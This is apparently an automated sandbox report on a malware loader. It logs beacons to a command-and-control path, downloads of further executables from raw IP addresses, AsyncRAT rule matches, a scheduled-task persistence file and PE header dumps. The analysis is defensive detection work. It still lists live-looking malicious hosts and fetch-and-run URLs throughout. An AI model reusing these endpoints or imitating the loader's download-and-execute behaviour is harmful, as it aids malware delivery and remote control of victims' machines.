00 40 01 00 00 02 00 00 00 cc 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 17:08:27 GMTContent-Type: application/octet-streamContent-Length: 1723904Last-Modified: Sat, 30 Nov 2024 16:06:35 GMTConnection: keep-aliveETag: "674b380b-1a4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 72 30 4b 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0b 00 00 7e 00 00 00 08 00 00 00 00 00 00 00 20 44 00 00 20 00 00 00 a0 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 60 44 00 00 04 00 00 ef b3 1a 00 02 00 40 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 c0 00 00 69 00 00 00 00 a0 00 00 38 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 c1 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 80 00 00 00 20 00 00 00 40 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 38 04 00 00 00 a0 00 00 00 04 00 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 c0 00 00 00 02 00 00 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 60 29 00 00 e0 00 00 00 02 00 00 00 66 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 64 76 70 6e 6d 79 6c 69 00 c0 19 00 00 40 2a 00 00 c0 19 00 00 68 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 6c 68 6c 65 77 6e 68 7a 00 20 00 00 00 00 44 00 00 04 00 00 00 28 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 44 00 00 22 00 00 00 2c 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Sat, 30 Nov 2024 17:08:40 GMTContent-Type: application/octet-streamContent-Length: 1848320Last-Modified: Sat, 30 Nov 2024 16:25:11 GMTConnection: keep-aliveETag: "674b3c67-1c3400"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 42 33 47 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 e6 03 00 00 c0 00 00 00 00 00 00 00 60 49 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 90 49 00 00 04 00 00 64 8a 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5c 60 05 00 70 00 00 00 00 50 05 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 61 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 05 00 00 10 00 00 00 58 02 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 50 05 00 00 02 00 00 00 68 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 60 05 00 00 02 00 00 00 6a 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 40 2a 00 00 70 05 00 00 02 00 00 00 6c 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 65 6e 79 79 69 6a 75 74 00 a0 19 00 00 b0 2f 00 00 a0 19 00 00 6e 02 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 6a 72 73 6f 7a 6d 77 00 10 00 00 00 50 49 00 00 04 00 00 00 0e 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 60 49 00 00 22 00 00 00 12 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 154Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 42 42 34 32 45 37 33 42 34 35 43 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7BB42E73B45C82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Source: global traffic	HTTP traffic detected: GET /files/1824233174/cAvEmnl.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 36 39 38 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010698001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /files/1824233174/EJQ2xs8.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 31 30 37 30 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1010706001&unit=246122658369
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 30 Nov 2024 16:25:11 GMTIf-None-Match: "674b3c67-1c3400"
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 65 30 3d 31 30 31 30 37 31 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: e0=1010714001&unit=246122658369

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: PLI-ASCH PLI-ASCH

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49805 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49775 -> 31.41.244.11:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49823 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.4:49837 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.43
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11
Source: unknown	TCP traffic detected without corresponding DNS query: 31.41.244.11

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 6_2_00FABE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

6_2_00FABE30

Source: global traffic	HTTP traffic detected: GET /files/1824233174/cAvEmnl.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /files/1824233174/EJQ2xs8.exe HTTP/1.1Host: 31.41.244.11
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16If-Modified-Since: Sat, 30 Nov 2024 16:25:11 GMTIf-None-Match: "674b3c67-1c3400"

Source: unknown

HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s

Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/S
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce9024154m
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fac00b58987e8e7e7b9ca30804042ba5ce9-1002
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe
Source: skotes.exe, 00000006.00000002.2896207218.000000000159A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe/185.215.113.16/luma/random.exeSSC:
Source: skotes.exe, 00000006.00000002.2896207218.0000000001657000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe1010714001
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe61
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe714001
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe8(
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exe9
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeAppData
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeAppDataBs
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeLMEMPp
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeO
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeT
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exea5
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exelencoded
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exeo
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/luma/random.exep
Source: skotes.exe, 00000006.00000002.2896207218.0000000001657000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2896207218.00000000015D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php/luma/random.exe450
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php0
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php6
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpN
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpV
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpd
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpj
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1824233174/EJQ2xs8.exe
Source: skotes.exe, 00000006.00000002.2896207218.0000000001619000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1824233174/EJQ2xs8.exeXYZ0123456789
Source: skotes.exe, 00000006.00000002.2896207218.00000000015C0000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000006.00000002.2896207218.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1824233174/cAvEmnl.exe
Source: skotes.exe, 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1824233174/cAvEmnl.exeNsz
Source: skotes.exe, 00000006.00000002.2896207218.00000000015ED000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://31.41.244.11/files/1824233174/cAvEmnl.exeXYZ0123456789
Source: cAvEmnl.exe, 00000007.00000002.2895978891.0000000002491000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name

System Summary

Malicious sample detected (through community Yara rule)

Source: 12.2.EJQ2xs8.exe.7d0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 7.0.cAvEmnl.exe.e0000.0.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000006.00000002.2896207218.0000000001608000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000007.00000000.2443615567.00000000000E8000.00000002.00000001.01000000.00000009.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000C.00000003.2616843347.0000000004F70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 0000000C.00000002.2621060775.00000000007D2000.00000040.00000001.01000000.0000000C.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\cAvEmnl[1].exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Roaming\github.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name:
Source: cAvEmnl[1].exe.6.dr	Static PE information: section name: U@7'
Source: cAvEmnl.exe.6.dr	Static PE information: section name: U@7'
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name:
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name: .idata
Source: EJQ2xs8[1].exe.6.dr	Static PE information: section name:
Source: EJQ2xs8.exe.6.dr	Static PE information: section name:
Source: EJQ2xs8.exe.6.dr	Static PE information: section name: .idata
Source: EJQ2xs8.exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name:
Source: random[1].exe.6.dr	Static PE information: section name: .idata
Source: random[1].exe.6.dr	Static PE information: section name:
Source: github.exe.7.dr	Static PE information: section name: U@7'

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FAE530	6_2_00FAE530
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE78BB	6_2_00FE78BB
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE8860	6_2_00FE8860
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE7049	6_2_00FE7049
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FA4DE0	6_2_00FA4DE0
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE31A8	6_2_00FE31A8
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE2D10	6_2_00FE2D10
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FE779B	6_2_00FE779B
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FA4B30	6_2_00FA4B30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00FD7F36	6_2_00FD7F36
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC11C8	7_2_00007FFD9BAC11C8
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC7906	7_2_00007FFD9BAC7906
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC0F28	7_2_00007FFD9BAC0F28
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC86B2	7_2_00007FFD9BAC86B2
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC7409	7_2_00007FFD9BAC7409
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC55FD	7_2_00007FFD9BAC55FD
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC45D8	7_2_00007FFD9BAC45D8
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC60DD	7_2_00007FFD9BAC60DD
Source: C:\Users\user\AppData\Local\Temp\1010698001\cAvEmnl.exe	Code function: 7_2_00007FFD9BAC2E68	7_2_00007FFD9BAC2E68
Source: C:\Users\user\AppData\Roaming\github.exe	Code function: 10_2_00007FFD9BAC1BAE	10_2_00007FFD9BAC1BAE
Source: C:\Users\user\AppData\Roaming\github.exe	Code function: 10_2_00007FFD9BAC10A0	10_2_00007FFD9BAC10A0
Source: C:\Users\user\AppData\Roaming\github.exe	Code function: 10_2_00007FFD9BAC1118	10_2_00007FFD9BAC1118
Source: C:\Users\user\AppData\Roaming\github.exe	Code function: 10_2_00007FFD9BAC10F2	10_2_00007FFD9BAC10F2
